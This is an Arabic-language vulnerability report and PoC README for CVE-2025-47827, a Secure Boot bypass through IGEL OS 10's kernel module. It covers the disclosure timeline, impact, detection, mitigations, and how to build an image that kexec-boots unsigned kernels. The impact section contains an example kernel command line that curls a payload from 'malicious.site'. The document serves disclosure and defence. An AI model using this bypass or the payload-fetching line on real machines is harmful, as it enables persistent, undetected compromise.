
PoC وتقرير الثغرة الأمنية لـ CVE-2025-47827.
إثبات المفهوم وتقرير الثغرة الأمنية لـ CVE-2025-47827.
في IGEL OS قبل الإصدار v11، يمكن تجاوز Secure Boot لأن وحدة igel-flash-driver تتحقق بشكل غير صحيح من التوقيع المشفر. في النهاية، يمكن تحميل نظام ملفات جذر معدّل من صورة SquashFS غير موثقة.
يسمح التحقق غير الصحيح من التوقيع المشفر في وحدة نواة لينكس igel-flash-driver في IGEL OS 10 لمخترِض ضار بتجاوز Secure Boot، عن طريق تشغيل shim المُوقَّع من Microsoft 3rd Party UEFI CA، والذي يقوم بدوره بتحميل GRUB والنواة الضعيفة، وكلاهما مُوقَّع من IGEL Secure Boot Signing CA. بمجرد تحميل النواة الضعيفة و initramfs المدمجة، يمكن تحميل نظام ملفات جذر ضار من صورة SquashFS غير موثقة على القرص.
نظرًا لأن استدعاء النظام kexec_load متاح في النواة الضعيفة، يمكن استبدال النواة المُشغَّلة حاليًا بنواة غير موثوقة بالكامل، مما يسمح عمليًا بتشغيل أي نظام تشغيل، بعد سلسلة كاملة من الثقة.
في الإصدارات الأحدث من IGEL OS، تتحقق الوحدة بشكل صحيح من توقيع صورة SquashFS لنظام الملفات الجذر. ومع ذلك، فإن كلاً من النواة الضعيفة والإصدارات المصححة مُوقَّعة بنفس الشهادة، مما يسمح لنفس shim بتشغيل الإصدارات الضعيفة والمصححة على حد سواء.

سلسلة النواقل الأولية لـ CVE-2025-47827 كانت
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H،
مما أدى إلى درجة CVSS تبلغ 8.4 (عالية).
في 14 أكتوبر 2025، تم تغيير ذلك إلى
AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H،
مما خفض الدرجة إلى 4.6 (متوسطة).
بالإضافة إلى ذلك، تم تعريف الضعف الأصلي على أنه CWE-347: التحقق غير الصحيح من التوقيع المشفر، ولكن MSRC قاموا بتعيينه كـ CWE-324: استخدام مفتاح بعد تاريخ انتهاء صلاحيته.
تم الاتصال بكل من IGEL وMicrosoft وإبلاغهما بهذه الثغرة الأمنية، في 6 ديسمبر 2024 و31 مارس 2025 على التوالي، قبل أن يتم الكشف عن التفاصيل علنًا في 29 مايو 2025.
نظرًا لأن IGEL OS 10 غير مدعوم وأن الثغرة الأمنية لا توجد مباشرة داخل shim، لم يقترح أي من الطرفين حلاً. ردت Microsoft بما يلي:
بعد التحقيق، قررنا أن هذا التقديم لا يفي بتعريف الثغرة الأمنية للصيانة لأن IGEL OS v10 لم يعد مدعومًا وأن المشكلة تقع في وحدة النواة وليس في shim. فقط shim هو المُوقَّع بشهادة MSFT.
نشرت IGEL إشعارًا أمنيًا لـ CVE-2025-47827 في 2 يونيو 2025.
في 13 يونيو 2025، أبلغت Microsoft بهذا مرة أخرى، وتلقيت الرد التالي:
على الرغم من أن تقريرك تضمن بعض المعلومات الجيدة، إلا أنه لا يفي بمتطلبات Microsoft كثغرة أمنية للصيانة. المشكلة المبلغ عنها تقع في وحدة النواة وليس في shim، وفقط shim مُوقَّع بشهادة MSFT. kexec يسمح بالفعل بتجاوز Secure Boot حسب التصميم (المرجع: kexec Command Line in Linux - Linux Expert Better 2025).
كان هذا سيلبي معايير الصيانة لدى MSRC إذا كانت المشكلة في برنامج تشغيل/مكون التمهيد. هذه ثغرة أمنية في برنامج تشغيل نواة توزيعة لينكس. تحدث بعد UEFI "ExitBootServices"، مما يعني أنها ليست تجاوزًا لـ Secure Boot. المستخدم لديه فقط تنفيذ كود على مستوى نظام التشغيل، وليس التمهيد.
منذ نشر مقالات إخبارية متعددة حول هذه الثغرة الأمنية، تواصل مشرفو shim مع Microsoft وIGEL لمناقشة حل.
بعد التوصل إلى حل، قمت بإنشاء قضية أخرى على MSRC في 20 أكتوبر 2025، سائلاً عن سبب التأخير في إبطال هذه shims، التعديلات على سلسلة ناقل CVSS وCWE، ولماذا ذكر دليل التحديث أن الثغرة الأمنية لم يتم الإفصاح عنها علنًا. تلقيت الرد التالي:
الثغرة التي تم إصلاحها في IGEL ليست تجاوزًا لـ Secure Boot. إنها تجاوز لنزاهة نواة لينكس خاص ولا تؤثر على Windows. shims IGEL قديمة ولا تدعم الإبطال الجديد القائم على SBAT. لذلك، أصدرت Microsoft عمليات الإبطال للحماية من الاستغلال المحتمل من ثغرات أخرى تمت حمايتها بواسطة SBAT.
Jeffrey Sutherland، كبير مديري البرامج، رد على PR لشرح أنه، بسبب عدم وجود SBAT، كان يجب إبطال shims عبر DBX، وطلبت IGEL وقتًا إضافيًا لتجنب أي عواقب غير مقصودة. كما اعتذروا عن عدم الحفاظ على التواصل بين الباحث والأطراف المعنية، كما هو مطلوب بموجب الإفصاح المنسق عن الثغرات الأمنية.
يمكن أن يؤدي استغلال تجاوز Secure Boot إلى تطوير bootkit/rootkit على مستوى النواة غير مكتشَف، مما يؤدي بدوره إلى آثار متعددة، مثل:
بدون إبطال أو تدخل يدوي، أصبح Secure Boot عديم الفائدة على جميع الأجهزة التي تثق في Microsoft 3rd Party UEFI CA، وهو الوضع الافتراضي لمعظم الأجهزة وقت كتابة هذا التقرير.
إذا تم استخدامه لـ kexec، يمكن استغلال هذه الثغرة الأمنية لتعديل نظام شرعي
بهدوء وبشكل ضار، دون التأثير على Secure Boot.
يمكن استبدال النواة بالكامل، مما يتيح تشغيل كود ضار على مستوى النواة، مانحًا وصولاً غير مقيد إلى جميع موارد النظام، بما في ذلك الذاكرة ووحدة المعالجة المركزية والأجهزة المتصلة.
سيسمح هذا بإسقاط مفاتيح التشفير من الذاكرة، وتنفيذ عمليات ضارة دون قيود، وللبرامج الضارة لتجنب الكشف.
يمكن تعديل سطر الأوامر للنواة الشرعية، لتعطيل وحدات الأمان أو تغيير معلمة
init، مما يسمح بتنفيذ حمولة ضارة بعد تحميل الجذر الحقيقي.
على سبيل المثال (modprobe، DHCP، chmod، تم حذفها للاختصار):```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
يمكن لهذا أن يحل محل ملف تنفيذي شرعي، أو يختطف PID 1، أو يبدأ تشغيل نفسه تلقائيًا عند الإقلاع، مما يسهل الحصول على وصول الجذر.
يمكن [اختطاف](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline) `/proc/cmdline` عن طريق ربط التحميل لإخفاء أي تعديلات.
انظر [توثيق لينكس](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) لمزيد من المعلومات.
### الاستمرارية
سيكون التأثير مستمرًا طالما أن الملفات الثنائية EFI والنواة المطلوبة موجودة، ومهيأة للإقلاع بواسطة البرامج الثابتة للنظام.
قد تتسبب تحديثات نظام التشغيل في تغييرات في ترتيب الإقلاع أو قاعدة بيانات التوقيعات المحظورة للتمهيد الآمن (DBX)، مما قد يمنع تنفيذ الملفات الثنائية. ومع ذلك، إذا تم اختراق نظام التشغيل أيضًا، فقد يتم التراجع عن هذا الإجراء العلاجي.
بالإضافة إلى ذلك، نظرًا لأن ترتيب إقلاع EFI قابل للتكوين بواسطة نظام التشغيل من خلال تعديل متغيرات EFI، يمكن للبرامج الضارة ذات الامتيازات العالية أن تحقق الاستمرارية أو ترفع الامتيازات بشكل أكبر عن طريق تثبيت ملفات الإقلاع المطلوبة وتهيئة ترتيب الإقلاع وفقًا لذلك.
## الكشف
بافتراض إنشاء روتكيت على مستوى النواة مثالي لاستغلال هذه الثغرة، لا يمكن الوثوق بالبيانات المتعلقة بالنظام الجاري.
تشمل طرق الكشف ما يلي:
- التحقق من وجود الملفات الثنائية المعنية
- التحقق من التوقيعات/سلامة الملفات المعروفة، مثل [rkhunter](https://rkhunter.sourceforge.net/)
- تحليل السلوك، خاصة في البيئات المتصلة بالشبكة
على أقل تقدير، يجب أن تكون الملفات الثنائية EFI الموقعة التي سيتم إقلاعها بواسطة البرامج الثابتة للنظام ونواة IGEL موجودة على النظام المخترق، ولكن نظرًا [لمستوى](https://en.wikipedia.org/wiki/Protection_ring) التنفيذ الذي سيعمل عليه الكود الضار، يمكن أن يخفي [الروتكيت](https://en.wikipedia.org/wiki/Rootkit) نفسه أثناء التشغيل.
تعتمد مؤشرات الاختراق الأخرى على إجراءات البرامج الضارة التي استغلت هذه الثغرة. على سبيل المثال، قد تم استبدال النواة المُقلعة، أو تعديل الملفات على نظام الجذر، أو تشغيل برامج غير متوقعة.
## التخفيف
> [!IMPORTANT]
> أصدرت مايكروسوفت [DBX موقعة](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed) تلغي توقيعات الشيم (shims) المعنية بتاريخ 20 أكتوبر 2025، بعد اتفاق مع IGEL.
>
> بالنسبة لأنظمة ويندوز، يرجى الاطلاع على
> [دليل تحديث MSRC](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827).
>
> لتحديث الأنظمة القائمة على لينكس باستخدام [fwupd](https://fwupd.org/)، قم بتحديث
> [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware)
> إلى الإصدار `20250902` فصاعدًا.
>
> لمزيد من المعلومات، انظر [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272).
لمنع اختراق سلسلة الإقلاع، يجب إبطال/عدم الثقة بالشهادة المستخدمة لتوقيع صورة GRUB/النواة الضعيفة، أو يجب إضافة تجزئات SHA-256 للنواة (أو الشيم) المتأثرة إلى قائمة المنع DBX أو MOKX.
انظر [التوثيق من مديرية الأمن السيبراني التابعة لوكالة الأمن القومي](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md) لمزيد من المعلومات.
بدلاً من ذلك، لمنع تنفيذ الشيم الأولي، يمكن عدم الثقة بالمرجع المصدق الثالث UEFI من مايكروسوفت (Microsoft 3rd Party UEFI CA)، لكن هذا قد يسبب تعطيلًا غير مقصود لتطبيقات شرعية أخرى.
تحتوي بعض الأجهزة على هذا الخيار في إعدادات البرامج الثابتة.
يحذر [صفحة ArchWiki لـ sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) مما يلي:
> [!WARNING]
> بعض البرامج الثابتة موقعة ومتحقق منها باستخدام مفاتيح مايكروسوفت عند تمكين التمهيد الآمن. قد يؤدي عدم التحقق من الأجهزة إلى تعطيلها (brick).
هذا هو [الإعداد الافتراضي لأجهزة Secured-core PCs](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot):
> الحالة الافتراضية للتمهيد الآمن لديها دائرة ثقة واسعة، مما قد يؤدي إلى ثقة العملاء بمكونات إقلاع قد لا يحتاجونها. نظرًا لأن شهادة المرجع المصّدق الثالث UEFI من مايكروسوفت توقع على مُحملات الإقلاع لجميع توزيعات لينكس، فإن الثقة بتوقيع المرجع المصّدق الثالث UEFI من مايكروسوفت في قاعدة بيانات UEFI تزيد من سطح الهجوم للأنظمة. العميل الذي كان ينوي فقط الثقة والإقلاع بتوزيعة لينكس واحدة سيثق بجميع التوزيعات - أكثر من التكوين المطلوب. أي ثغرة في أي من مُحملات الإقلاع تعرض النظام للخطر وتضع العميل في خطر استغلال مُحمل إقلاع لم ينوي استخدامه أبدًا، كما رأينا في الثغرات الأخيرة، على سبيل المثال [مع مُحمل الإقلاع GRUB](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) أو [روتكيت على مستوى البرامج الثابتة](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit) الذي يؤثر على مكونات الإقلاع.
> [أجهزة Secured-core PCs](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11) تتطلب تمكين Secure Boot وتكوينه لعدم الثقة بتوقيع المرجع المصّدق الثالث UEFI من مايكروسوفت، بشكل افتراضي، لتزويد العملاء بأكثر تكوين آمن ممكن لأجهزتهم.
### الإقلاع المُقاس (Measured Boot)
إذا تم إقلاع النظام باستخدام شيم IGEL، فإن [قياسات PCR الخاصة بـ TPM](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers) ستتغير.
يستخدم ويندوز [Measured Boot](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot) بشكل افتراضي مع BitLocker، مما يجعل مفاتيح التشفير غير قابلة للوصول إذا لم يتم إقلاع النظام بالملفات الثنائية المتوقعة.
على الأنظمة القائمة على لينكس، يمكن استخدام [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) لتسجيل مفتاح LUKS في TPM وربطه بـ PCRs مختلفة (PCR 7 بشكل افتراضي).
يحمي الإقلاع المُقاس نظام التشغيل الشرعي من التعديل، عن طريق إطلاق مفتاح التشفير فقط في بيئة موثوقة. ومع ذلك، فإنه لا يمنع إقلاع نظام تشغيل غير مصرح به؛ فهذه مسؤولية التمهيد الآمن (Secure Boot).
لذلك، قد يظل المستخدم في خطر، حتى لو كان نظام تشغيله يستخدم الإقلاع المُقاس. على سبيل المثال:
- إقلاع شيم IGEL ونظام تشغيل ضار، مع اجتياز Secure Boot
- تقليد مظهر وسلوك نظام التشغيل الحقيقي
- إدخال المستخدم لبيانات الاعتماد التي يتم إرسالها إلى المهاجم
- اختياريًا، إعادة الإقلاع إلى نظام التشغيل الشرعي
بينما لا يمكن تعديل نظام التشغيل الشرعي باستخدام الإقلاع المُقاس، لأن مفتاح التشفير مرتبط بقياسات PCR الخاصة بـ TPM[^1]، لا يزال بإمكان النظام إقلاع برامج ضارة.
[^1]: مفاتيح استعادة BitLocker غير مرتبطة بـ TPM.
### صورة النواة الموحدة (Unified Kernel Image)
يمكن استخدام [صورة نواة موحدة](https://uapi-group.org/specifications/specs/unified_kernel_image/) لتجميع جميع موارد الإقلاع (أي النواة، القرص الرامي الأولي، سطر أوامر النواة، إلخ.) في ملف PE UEFI واحد.
يمكن توقيع هذه الصور مثل أي ملف EFI قابل للتنفيذ.
لتحسين أمان الإقلاع وتقليل سطح الهجوم لسلسلة الإقلاع، قم بإنشاء صورة نواة موحدة وتوقيعها بمفاتيح من إنشاء المستخدم، مع عدم الثقة بأي مفاتيح من البائع/OEM.
## الملفات الثنائية
الملفات الثنائية المعنية هي أدناه:
### الوصف
بترتيب التنفيذ:
- `boot*.efi` -> شيم موقعة من مايكروسوفت
- `igel*.efi` -> GRUB موقعة من IGEL
- `bzImage` -> صورة لينكس (initramfs مدمجة)، موقعة من IGEL
يمكن العثور على الشهادة للموضوع `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE` في [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der).
بصمة SHA-256 لهذه الشهادة هي
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`.
يمكن التحقق من توقيعات هذه الملفات الثنائية باستخدام `sbverify` (من [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)):```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (من udc10.06.220.iso):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
تم إبطال تجزئات [`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461)
و [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)
عبر DBX.
## إثبات المفهوم
يتم توفير نص برمجي شل كإثبات للمفهوم لتنزيل ISO تثبيت IGEL OS، واستخراج وإنشاء صورة قرص قابلة للإقلاع، مع نظام ملفات جذر SquashFS معدل.
بدلاً من ذلك، بدلاً من صورة قرص، يمكن إعادة تعبئة ISO مع قسم نظام EFI ملحق بالصورة. كما يمكن استخدام MBR هجين للاحتفاظ بدعم أنظمة BIOS القديمة، لكن هذا خارج نطاق هذا المشروع. يحتوي ISO التثبيت على محمل إقلاع ISOLINUX للأنظمة القديمة، والذي يقوم بتحميل متسلسل لـ `core.img` الخاص بـ GRUB.
### التراكبات
يتم توفير أدلة تراكب مثال، لإظهار إقلاع بيئة Arch Linux المباشرة عبر HTTP.
سينفذ النص البرمجي `init` تحميل النواة المحددة في معلمات سطر أوامر النواة باستخدام `kexec`، ثم يعيد التشغيل. لا يحتاج النواة البديلة إلى أن تكون موقعة، إذا تم تمرير `--kexec-syscall` بدلاً من `--kexec-file-syscall`.
يتم تخزين ملف تكوين GRUB على قسم نظام EFI، والذي يمكن تعديله بسهولة. يمكن وضع ملفات أخرى على ESP، مثل النواة أو initramfs أو صور SquashFS، ليتم الإقلاع منها من نظام الملفات الجذر الأول باستخدام `kexec`. يتيح ذلك التحميل المتسلسل لنظام آخر محلياً، والذي يمكن تحديثه كنظام عادي، دون إعادة بناء ISO في كل مرة.
بدلاً من ذلك، يمكن تنزيل الملفات المطلوبة عبر HTTP باستخدام `curl`، ثم إقلاعها، للحصول على صورة قرص أصغر.
هذا مثال بريء لكيفية استغلال الثغرة، ولكن يمكن تعديل النص البرمجي `init` أو نواة `kexec` لإظهار سلوك ضار.
### التبعيات
يتطلب النص البرمجي الحزم التالية:
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`، وكل شيء آخر)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`، `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`، `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`، `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
يجب أن تكون هذه الحزم متاحة لأي توزيعة من مستودعات الحزم الرسمية.
يمكن تثبيت `igelfs-cli` في بيئة افتراضية من
[PyPI](https://pypi.org/project/igelfs/):```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### مثال
قم ببناء صورة قرص بحجم 500 ميجابايت، مع نسخ محتويات `esp` و `root` إلى EFI System Partition و SquashFS على التوالي:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
الصورة الناتجة ستُقلع جهازًا مع تمكين التمهيد الآمن (Secure Boot)، والذي يثق في Microsoft 3rd Party UEFI CA.
يمكن كتابة صورة القرص الخام إلى جهاز فعلي، أو تحويلها للاستخدام مع آلة افتراضية.
انظر صفحة الإصدارات للحصول على مثال لصورة قرص قابلة للإقلاع ونسخ من الملفات الثنائية ذات الصلة.
المثال يحتوي على صورة SquashFS معدلة لنظام IGEL OS لتنزيل وإقلاع Arch Linux عبر HTTPS باستخدام kexec. يوجد المرآة في تكوين GRUB.
mkdiskimage بتنزيل أرشيف IGEL OS 10 UDC، الذي يحتوي على ISO التثبيتosirrox للحصول على الملفات الثنائية EFI، ddimage.bin و bzImageigelfs-cli، يتم استخراج SquashFS النظام من ddimage.bin، ثم يتم استخراجها باستخدام unsquashfsmksquashfs ويتم إنشاء ddimage.bin جديد باستخدام igelfs-cli، مع SquashFS كقسم #1 (sys)ddimage.bin إلى صورة ISO باستخدام xorrisoيحتوي ISO فقط على ddimage.bin وتلميح ملف boot_id، بينما يحتوي ESP على الملفات الثنائية EFI وملفات GRUB.
يمكن إنشاء نظام الملفات الجذر باستخدام buildroot لتقليل حجم الملف بشكل كبير.
ستتم إضافة وحدات kernel النمطية لـ bzImage إلى صورة SquashFS لإضافة دعم لأنظمة الملفات والشبكات وغيرها، إلى جانب أي متطلبات أخرى.
يمكن العثور على مثال defconfig لبناء SquashFS جذر، مع kexec وبدون سكريبت init، في buildroot. استخدم دليل تراكب لإضافة ملفات أخرى، مثل سكريبت init، إما باستخدام BR2_ROOTFS_OVERLAY أو mkdiskimage.
الملف الثنائي kexec لمساحة المستخدم غير متوفر افتراضيًا في قسم النظام IGEL OS 10، لذا إذا كان ذلك مطلوبًا، يمكن إضافته أيضًا إلى صورة SquashFS المعدلة.
يمكن تجميع الملف الثنائي kexec مع تبعيات المكتبة الخاصة به باستخدام staticx، لتجنب فقدان المكتبات المشتركة في صورة SquashFS الخاصة بـ IGEL OS:```sh
staticx "$(which kexec)" "./root/sbin/kexec"
ملاحظة: نظرًا لطريقة البحث عن السلاسل الفرعية في `parse_cmdline` التابع لـ initramfs الخاص بـ IGEL، فإن تحديد `init` في أي مكان من سطر أوامر kernel سيتم تفسيره بواسطة initramfs الأول، لذلك لا يمكن تمرير `init` إلى kernel الخاص بـ `kexec` عبر معاملات kernel الأولى.
### SSL
إذا كان SSL مطلوبًا، مثل HTTPS، قم بإضافة `/etc/ssl/certs/ca-certificates.crt` إلى صورة SquashFS.
### المتطلبات
يجب أن يكون ISO هو القسم الأول، مما يجعل قسم النظام EFI (ESP) بشكل غير تقليدي القسم رقم 2. وذلك بسبب كيفية قيام سكريبت `init` الخاص بـ initramfs بالبحث في الأجهزة.
وبالمثل، عند تثبيته، يقوم IGEL OS بإنشاء قسمين ESP في القسمين رقم 2 و 3.
يتطلب GRUB وجود `/boot/igel-ud-converter` على نفس نظام الملفات مثل `/boot/grub/igel.conf`:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
يتطلب البرنامج النصي init لـ initramfs المدمج في bzImage وجود ملف يطابق boot_id الذي تم تمريره في سطر أوامر النواة، مسبوقًا بنقطة (.)، على نظام ملفات ISO. يجب أن يبدأ boot_id بـ IGEL_UDC_TO، على سبيل المثال .IGEL_UDC_TO_210319143827.
يمكن أن تكون هذه الملفات فارغة، ولكن يجب أن تكون موجودة.
يجب أن يحتوي SquashFS أيضًا على دليل /igfimage للبرنامج النصي init لـ initramfs، وإلا سيفشل تغيير الجذر.
يمكن للمستخدم استغلال هذه الثغرة الأمنية عن قصد لتشغيل نظام تشغيل قائم على لينكس على جهازه، دون تكوين Secure Boot.
علاوة على ذلك، نظرًا لأنه سيتم استخدام بيئة لينكس كاملة كمُحمل إقلاع بشكل فعال، يمكن تخصيص البرنامج النصي init للتعامل مع تحميل النواة التالية بطرق أكثر تعقيدًا مما يسمح به مُحمل الإقلاع التقليدي، على سبيل المثال الشبكات، التشفير، إلخ. من ناحية أخرى، يمكن استغلال ذلك لإخفاء مؤشرات الاختراق، عن طريق استرداد الأصول في وقت التشغيل بدلاً من تخزينها على القرص.
تستخدم مشاريع مختلفة بالفعل kexec لهذا الغرض، مثل kexecboot و petitboot.
تفاصيل الثغرة الأمنية:
التخفيف:
مراجعات التحديث:
مقالات إخبارية:
البرامج والمشاريع ذات الصلة:
CVE-2025-47827 مرخص بموجب رخصة MIT للجميع لاستخدامه وتعديله ومشاركته بحرية.
يتم توزيع هذا المشروع على أمل أن يكون مفيدًا، ولكن بدون أي ضمان.
[!IMPORTANT] يرجى التعامل مع هذه المعلومات بمسؤولية. نشر هذه الثغرة الأمنية يهدف إلى تقديم النصح للمستخدمين واقتراح وسائل تخفيف محتملة لتجنب الضرر.
كن شخصًا جيدًا.
إذا وجدت هذا المشروع مفيدًا، فيرجى التفكير في التبرع. أي مبلغ موضع تقدير كبير! شكرًا لك 😃
fdisk
dd)